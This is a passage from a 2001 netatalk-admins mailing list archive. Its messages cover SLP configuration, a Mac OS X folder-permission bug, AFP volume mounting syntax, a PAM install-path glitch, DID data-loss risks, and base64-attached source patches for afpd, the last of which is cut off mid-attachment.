	Thu, 20 Dec 2001 15:17:54 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 20 Dec 2001 14:55:20 +0100
Subject: Re: SLP how-to?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Burkhard Schmidt <bs@cpfs.mpg.de>,
        Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
CC: <netatalk-admins@umich.edu>
Message-ID: <B847AC58.1664B%Thomas.Kaiser@phg-online.de>
In-Reply-To: <683FDF06-F537-11D5-8155-003065A28C6E@cpfs.mpg.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 20.12.2001 11:50 Uhr schrieb Burkhard Schmidt:

> three steps are needed:
> 
> (1) You have to set up an SLP server, if you don't have one already.
> Have a look at http://www.openslp.org/ for advice.
> (2) You have to install the SLP header file and library in /path/to/slp
> on the machine you build Netatalk on.
> (3) Build Netatalk with the configure option "--enable-
> srvloc=/path/to/slp".

A small footprint: SLP can be used (other than NBP) as some kind of
cenralized directory service too. A so called DA (Directory Agent) can
handle all the SLP registration stuff, so it is not necessary that every
service registers itself via slp (that means, if you have 2 netatalk
servers, you can setup slpd on one of them and use static slp registration
entries for all your services -- even those on a WAN, that aren't reachable
by direct SLP broadcasts).

More documentation can be found at the URL above...

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Dec 20 09:30:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA24332
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 09:30:41 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA02891
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 09:30:41 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA02880
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 09:30:40 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA02842
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 09:30:39 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000168046; Thu, 20 Dec 2001 15:30:41 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101001b8479cffecd5@[192.168.1.201]>
Date: Thu, 20 Dec 2001 15:30:36 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: security issue, netatalk 1.5rc2 (and/or MacOS)?
Cc: netatalk-devel@lists.sourceforge.net
Content-Type: text/plain; charset="us-ascii"

Ohps, 

Since the update to rc2:
environment: parent directories and share directories with the following rights:
drwxrws--x 

### the following happens with _client: OS X 10.1.1_:

when making a new folder inside of such a directory over th Finder,
I get a new one with the following rights on the server:

drwxrwxr-x (others get read access, and group loses sticky bit)

worse yet, if I take an existing folder (drwxrws--x ) and duplicate it in the Finder, 
I get one with

drwxrwxrwx !! (as well as all the files inside, all -rwxrwxrwx)

### The following happens with  _client: OS 9.1_:

when making a new folder:

drwxrwx--- (others lose execute, group loses sticky bit)

duplicate it in the Finder makes the same as a new one on OS9.


with p8 and all asuns, afpd used to create 
drwxrws--x dirs, and 0660 files... (as expected by me at least)

now I'm quite confused ... is there a feature that started working (that I am not aware of) or a new bug?

how I'd like to be able to force this behavior, like in samba.... 

I verified this behaviour with netatalk-1.5rc2 on
SuSE Linux 7.1 / libc6 / intel as well as on LinuxPPC 2000 Q4 / libc5 /ppc.
(did-scheme: mtab, with afpd.mtab)

It DEFINITIVELY didn't happen with netatalk 1.4+asun2.14pre37, or 1.5pre8. on the same environments. 

8-!


Lorenzo


From netatalk.administrators-errors@umich.edu  Thu Dec 20 10:11:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA25888
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 10:11:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA04129
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 10:11:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA04109
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 10:11:27 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA04093
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 10:11:26 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id KAA03269;
	Thu, 20 Dec 2001 10:11:23 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 20 Dec 2001 10:11:23 -0500
Subject: Re: security issue, netatalk 1.5rc2 (and/or MacOS)?
From: Rick Zeman <rzeman@his.com>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        <netatalk-admins@umich.edu>
CC: <netatalk-devel@lists.sourceforge.net>
Message-ID: <B84769CA.59B4%rzeman@his.com>
In-Reply-To: <a05101001b8479cffecd5@[192.168.1.201]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/20/01 9:30 AM, "Lorenzo Perone" <lopez.on.the.lists@yellowspace.net>
wrote:

> Since the update to rc2:
> environment: parent directories and share directories with the following
> rights:
> drwxrws--x 
> 
> ### the following happens with _client: OS X 10.1.1_:
> 
> when making a new folder inside of such a directory over th Finder,
> I get a new one with the following rights on the server:
> 
> drwxrwxr-x (others get read access, and group loses sticky bit)
> 
> worse yet, if I take an existing folder (drwxrws--x ) and duplicate it in the
> Finder, 
> I get one with
> 
> drwxrwxrwx !! (as well as all the files inside, all -rwxrwxrwx)
> 
> ### The following happens with  _client: OS 9.1_:
> 
> when making a new folder:
> 
> drwxrwx--- (others lose execute, group loses sticky bit)
> 
> duplicate it in the Finder makes the same as a new one on OS9.

That's actually a design FEATURE in 10.1!!!  I freaked out over this a month
ago when I discovered it going from 10.1.1 to a Netware 5 server running the
AFPTCP.nlm and sent some emails off to some people at Apple and Novell.
Since it didn't affect the netatalk 1.4b2 that was being used or 9.x on the
client end, I'd (wrongly) assumed that it was a Novell problem.
I didn't hear WHY Apple consciously made that decision in 10.1, only that
they regretted it and are working with their security people to ensure that
it was changed correctly.

It only affects folder creation (and its contents), not file-only creation.
Basically, all new folders and their contents become world readable and
writeable no matter what the parent folders permissions are, as you saw.

In Netware parlance, an explicit trustee of ROOT was added with full perms
so any user, or any object in the NDS tree had full access to those files.
Horrible.


-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Thu Dec 20 10:50:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA28174
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 10:50:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA14810
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 10:50:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA14797
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 10:50:50 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA14764
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 10:50:49 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA23633;
	Thu, 20 Dec 2001 17:13:20 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 20 Dec 2001 16:50:46 +0100
Subject: Re: Authentication question
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lars Nummedal <lars@nummedal.net>, <netatalk-admins@umich.edu>
Message-ID: <B847C765.1666C%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.43.0112201111230.15354-100000@dodo.metaphor.no>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA28174

On Thu, 20 Dec 2001 11:15:32 +0100 (CET), Lars Nummedal wrote:

> Let's say I have mounted user1's home dir as user1. Now I want to open
> user2's home dir as user2 at the same time. Is this possible?

Within AppleShare client GUI, AFAIK not.

But give this a try and

1) within MacOS 9 open your ScriptEditor:

The syntax to mount a Volume with AFPoverAppleTalk is

    mount volume "[vol]" on server "[Servername]" in AppleTalk zone ¬
        "[zone]" as user name "[user]" with password "[passwd]"

For use with AFPoverTCP you have to supply an AFP URL:

    mount volume "afp://[user]:[passwd]@[ip address]:[afp port]/[vol]"

or similar

    mount volume "afp://[ip address]:[afp port]/[vol]" ¬
        as user name "[user]" with password "[passwd]"

2) From the terminal in MacOS X the situation is different as you first have
to create a Mountpoint (eg. with "mkdir /Volumes/test")

    /sbin/mount_afp 'afp://[user]:[passwd]@[ip address]:[afp port]/[vol] \
        /Volumes/test'

If you want to do the initial connection with AppleTalk, then it will look
like:

    /sbin/mount_afp 'afp:/at/[user]:[passwd]@[Servername]:[zone]/[vol]' \
        /Volumes/test'

Note 1: Even if you want mac and server to speak via AppleTalk, the
connection will be established via AFPoverTCP, if the server supports this.
So in the latter case only the service location will be done via AppleTalk.

Note 2: Never ever use the "[user]:[passwd]@" syntax inside the Finders
"connect to server" dialog box, as this will leave some kind of alias inside
your home directory ("Library/Recent Servers/") from where both username and
passwort can be read in cleartext! Use this only on the command line...

Some remarks: 

- [ip address] can also be substituted with a FQDN that must be resolvable
  by the mac, that wants to mount the share.

- [afp port] defaults to 548 and can be omitted if the server uses this
  default port

- [zone] defaults to "*" (aka the default zone). If you have real zones than
  you should use the name of the apropriate one.

- In [vol] special characters need *not* to be quoted within an AFP URL if
  used by the ScriptEditor. But with MacOS X' CLI tool the situation is
  different: If your Volume is named "my backup" then you should substitute
  with "my%20backup" or "my\ backup"

Try this and check on the server whether different users will have an effect
or whether this will be ignored and the authentication will be done as the
first user that connected already.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Dec 20 10:57:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA28550
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 10:57:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA23590
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 10:57:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA23578
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 10:57:34 -0500 (EST)
Received: from nortext.com ([206.191.2.218])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA23563
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 10:57:33 -0500 (EST)
Received: from [206.191.2.201] (HELO nortext.com) by nortext.com (Stalker SMTP Server 1.7) with ESMTP id S.0000705572; Thu, 20 Dec 2001 10:57:33 -0500
Message-ID: <3C220A6B.2E0A3123@nortext.com>
Date: Thu, 20 Dec 2001 10:57:31 -0500
From: Fred Jensen <fmj@nortext.com>
Reply-To: fmj@nortext.com
X-Mailer: Mozilla 4.76 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-devel@lists.sourceforge.net
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk 1.5 Release Candidate 2
References: <20011219071255.A9671@jroger.in-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Just a note to advise that there seems to be a minor install glitch on RedHat...

System: RedHat 7.1 (Linux version 2.4.7-10)
CPU: Intel Pentium III (Coppermine)
Netatalk: netatalk-1.5rc2

Installed netatalk-1.5rc2.tar.gz from http://me.in-berlin.de/~jroger/netatalk/

./configure --prefix=/usr/local/netatalk --with-did=last --with-shadow
--with-pam=/etc/pam.d  --with-flock-locks --enable-redhat --with-uams-path=/etc/atalk/uams
make
make install

tail /var/log/messages
 Dec 20 11:22:46 adm afpd[6231]: uam: uams_dhx.so loaded
 Dec 20 11:22:46 adm afpd[6231]: uam: "DHCAST128" available
 Dec 20 11:22:46 adm afpd[6231]: uam: "Cleartxt Passwrd" available
 Dec 20 11:22:54 adm afpd[6234]: session from 65293.7:246 on 65280.42:129
 Dec 20 11:22:54 adm afpd[6234]: dhx login: fredj
 Dec 20 11:22:54 adm afpd[6234]: uams_dhx_pam.c :PAM: PAM_Error:
Authentication failure -- No such file or directory
 Dec 20 11:23:01 adm afpd[6235]: session from 65293.7:246 on 65280.42:130
 Dec 20 11:23:01 adm afpd[6235]: dhx login: gps
 Dec 20 11:23:01 adm afpd[6235]: uams_dhx_pam.c :PAM: PAM_Error:
Authentication failure -- No such file or directory
 Dec 20 11:23:04 adm afpd[6234]: atp_rresp: Connection timed out

On investigation, it appears that the netatalk pam file gets installed
as /etc/pam.d/etc/pam.d/netatalk instead of just /etc/pam.d/netatalk. I
added a symlink...

ln -s /etc/pam.d/etc/pam.d/netatalk /etc/pam.d/netatalk

And everything works. I wonder if it would have worked if I set the
configure as '--with-pam=/' ?

From netatalk.administrators-errors@umich.edu  Thu Dec 20 12:05:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03118
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 12:05:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA16136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 12:05:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA16116
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 12:05:32 -0500 (EST)
Received: from nortext.com ([206.191.2.218])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA16075
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 12:05:31 -0500 (EST)
Received: from [206.191.2.201] (HELO nortext.com) by nortext.com (Stalker SMTP Server 1.7) with ESMTP id S.0000705804 for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 12:05:30 -0500
Message-ID: <3C221A5B.1C466A1E@nortext.com>
Date: Thu, 20 Dec 2001 12:05:31 -0500
From: Fred Jensen <fmj@nortext.com>
Reply-To: fmj@nortext.com
X-Mailer: Mozilla 4.76 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Netatalk <netatalk-admins@umich.edu>
Subject: DID=last or...
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

We've just lost a bunch of files on a server running netatalk-1.5pre5
which was installed from an rpm. I have now upgraded the server to
RedHat 7.1 (clean install with ext3 filesystem) and installed netatalk-1.5rc2.

System: RedHat 7.1 (Linux version 2.4.7-10) with ext3 filesystem.
CPU: Intel Pentium III (Coppermine)
Netatalk: netatalk-1.5rc2
./configure --prefix=/usr/local/netatalk --with-did=last --with-shadow
--with-pam=/etc/pam.d  --with-flock-locks --enable-redhat --with-uams-path=/etc/atalk/uams

>From what I've read, using --with-did=last and --with-flock-locks should
prevent the disappearing files problem and various Quark issues. But now
I see that there are more options for --with-did including mtab and
cnid. Should I be using mtab instead? or cnid? (have to enable db3 also
then?). If I use mtab, should I still use --with-flock-locks?

This is a production server so I would prefer to stay with what works
rather than experiment. There are only system 9.x clients, no OSX.

Fred

From netatalk.administrators-errors@umich.edu  Thu Dec 20 15:05:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA11879
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 15:05:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA23064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 15:05:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA23047
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 15:05:07 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA23008
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 15:05:06 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id PAA29359
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 15:05:06 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 20 Dec 2001 15:05:04 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B847AEA0.59D1%rzeman@his.com>
In-Reply-To: <B846BAC6.A21D%sflist@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/20/01 12:44 AM, "Steve Freitas" <sflist@ihonk.com> wrote:

> DID=hash ain't such a hot idea, as it can lead to data loss when inode reuse
> occurs.

Why is that?

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Thu Dec 20 15:20:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12791
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 15:20:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA14770
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 15:20:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA14759
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 15:20:15 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA14735
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 15:20:14 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBKKJNh11597;
	Thu, 20 Dec 2001 12:19:23 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 20 Dec 2001 12:20:10 -0800
Subject: Re: Error -50 copying from OS X
From: Steve Freitas <sflist@ihonk.com>
To: Rick Zeman <rzeman@his.com>, <netatalk-admins@umich.edu>
Message-ID: <B84787F9.A254%sflist@ihonk.com>
In-Reply-To: <B847AEA0.59D1%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

>> DID=hash ain't such a hot idea, as it can lead to data loss when inode reuse
>> occurs.
> 
> Why is that?

To quote Joe Clarke:

"hashdid uses a slightly different algorithm to compute DIDs.  It reserves
the first bit to indicate if this is a file ID, the next seven bits for the
device number, and the remaining 24 for the inode number.  However, since
the inode and dev numbers were hashed, then truncated, this led to duplicate
IDs and data loss."

DID=last can still allow data loss, but you need more files before that can
happen. Note that this data loss occurs when deleting files, and this risk
is minimized when you disable (chmod -R 000) the Network Trash Folder.

Steve


From netatalk.administrators-errors@umich.edu  Thu Dec 20 15:25:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA13041
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 15:25:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA12025
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 15:25:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA12019
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 15:25:24 -0500 (EST)
Received: from press.uchicago.edu (press.uchicago.edu [128.135.204.191])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA12009
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 15:25:23 -0500 (EST)
Received: from press-rcb.uchicago.edu ([128.135.204.188]:60306 "HELO there")
	by press.uchicago.edu with SMTP id <S6056AbRLTUZQ>;
	Thu, 20 Dec 2001 14:25:16 -0600
Content-Type: 	text/plain; charset=US-ASCII
From: Roy Bixler <rcb@press.uchicago.edu>
Organization: The University of Chicago Press
To: Wes Yates <gmac63@carolina.rr.com>, netatalk-admins@umich.edu
Subject: Re: Error -50 copying from OS X
Date:   Thu, 20 Dec 2001 14:25:54 -0600
X-Mailer: KMail [version 1.3.2]
References: <20011219182841Z5539-238+4564@press.uchicago.edu> <a05010401b8469f295620@[192.168.110.21]> 
MIME-Version: 1.0
Content-Transfer-Encoding: 7BIT
Message-Id: <20011220202517Z6056-234+4530@press.uchicago.edu>

On Wednesday 19 December 2001 04:21 pm, Roy Bixler wrote:
> On Wednesday 19 December 2001 01:52 pm, Wes Yates wrote:
> > OS X may have a newer or slightly different Appletalk protocol
> > stack.. Who knows. Why don't you just do an NFS mount one to the
> > other?
>
> That's worth a try.

Yes, if I mount the drive with NFS instead of Appletalk and copy to that, the 
directory copy succeeds.

-- 
Roy Bixler <rcb@press.uchicago.edu>
The University of Chicago Press
http://www.press.uchicago.edu

From netatalk.administrators-errors@umich.edu  Thu Dec 20 15:54:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14852
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 15:54:53 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA29477
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 15:54:53 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA29462
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 15:54:52 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA29432
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 15:54:51 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBKKs0h14562;
	Thu, 20 Dec 2001 12:54:00 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 20 Dec 2001 12:54:44 -0800
Subject: Re: Error -50 copying from OS X
From: Steve Freitas <sflist@ihonk.com>
To: <rzeman@his.com>, netatalk-admins <netatalk-admins@umich.edu>
CC: Joe Clarke <marcus@marcuscom.com>
Message-ID: <B8479014.A25B%sflist@ihonk.com>
In-Reply-To: <20011220123057.D85844-400000@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: multipart/mixed;
   boundary="MS_Mac_OE_3091697684_14852211_MIME_Part"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--MS_Mac_OE_3091697684_14852211_MIME_Part
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Rick,

Joe Clarke has heard your pain! See below:

----------
From: Joe Clarke <marcus@marcuscom.com>
Date: Thu, 20 Dec 2001 12:33:00 -0500 (EST)
To: Steve Freitas <sflist@ihonk.com>
Subject: Re: FW: Error -50 copying from OS X

Give these patches a try.  This implements a hashdid/lastdid hybrid.
You're free to give these out to others, but know that it may cause data
loss.  Hopefully, it will fix the -50 errors while not causing data loss.
Please provide feedback as soon as you can.

Joe
----------

The patches should apply against RC2. Grab it, untar it, then put the
patches into <netatalk RC2 source dir>/etc/afpd. Then cd to etc/afpd and
apply them:

patch -p0 < directory.h.patch
patch -p0 < file.c.patch
patch -p0 < enumerate.c.patch

Then configure, use --with-did=last, make, make install and give it a try.

Steve
    


--MS_Mac_OE_3091697684_14852211_MIME_Part
Content-type: text/plain; name="directory.h.patch";
 x-mac-creator="74747874";
 x-mac-type="54455854"
Content-disposition: attachment
Content-transfer-encoding: base64

SW5kZXg6IGRpcmVjdG9yeS5oDT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NUkNTIGZpbGU6IC9jdnNyb290L25l
dGF0YWxrL25ldGF0YWxrL2V0Yy9hZnBkL2RpcmVjdG9yeS5oLHYNcmV0cmlldmluZyByZXZp
c2lvbiAxLjMNZGlmZiAtdSAtcjEuMyBkaXJlY3RvcnkuaA0tLS0gZGlyZWN0b3J5LmgJMjAw
MS8xMi8wMyAwNTowMzozOAkxLjMNKysrIGRpcmVjdG9yeS5oCTIwMDEvMTIvMjAgMTc6MzA6
MDANQEAgLTEzMCw2ICsxMzAsMTAgQEANICNkZWZpbmUgQ05JRChhLGIpICAgICAoKChhKS0+
c3RfaW5vICYgMHg3ZmZmZmZmZikgfCBDTklEX0ZJTEUoYikpDSAjZW5kaWYgLyogQUZTICov
DSANKyNkZWZpbmUgTEFTVF9ERVYoYSkgICAoKChtYWpvcigoYSktPnN0X2RldikgJiAweGYp
IDw8IDMpIHwgXA0rICAgICAgICAgICAgICAgICAgICAgIChtaW5vcigoYSktPnN0X2Rldikg
JiAweDcpIDw8IDI0KQ0rI2RlZmluZSBMQVNUX0lOT0RFKGEpICgoYSktPnN0X2lubyAmIDB4
MDBmZmZmZmYpDSsjZGVmaW5lIExBU1QoYSxiKSAgICAgKExBU1RfREVWKGEpIHwgTEFTVF9J
Tk9ERShhKSB8IENOSURfRklMRShiKSkNIA0gc3RydWN0IG1hY2Nlc3Mgew0gICAgIHVfY2hh
cgltYV91c2VyOw0=

--MS_Mac_OE_3091697684_14852211_MIME_Part
Content-type: text/plain; name="file.c.patch";
 x-mac-creator="74747874";
 x-mac-type="54455854"
Content-disposition: attachment
Content-transfer-encoding: base64

SW5kZXg6IGZpbGUuYw09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09DVJDUyBmaWxlOiAvY3Zzcm9vdC9uZXRhdGFs
ay9uZXRhdGFsay9ldGMvYWZwZC9maWxlLmMsdg1yZXRyaWV2aW5nIHJldmlzaW9uIDEuMzAN
ZGlmZiAtdSAtcjEuMzAgZmlsZS5jDS0tLSBmaWxlLmMJMjAwMS8xMi8wMyAwNTowMzozOAkx
LjMwDSsrKyBmaWxlLmMJMjAwMS8xMi8yMCAxNzozMDoyMw1AQCAtMTAwLDExICsxMDAsNyBA
QA0gICAgICAgICAgICAgICAgICBjaGFyICpwYXRoLCBzdHJ1Y3QgZGlyICpkaXIsIHN0cnVj
dCBzdGF0ICpzdCwNICAgICAgICAgICAgICAgICAgY2hhciAqYnVmLCBpbnQgKmJ1ZmxlbiAp
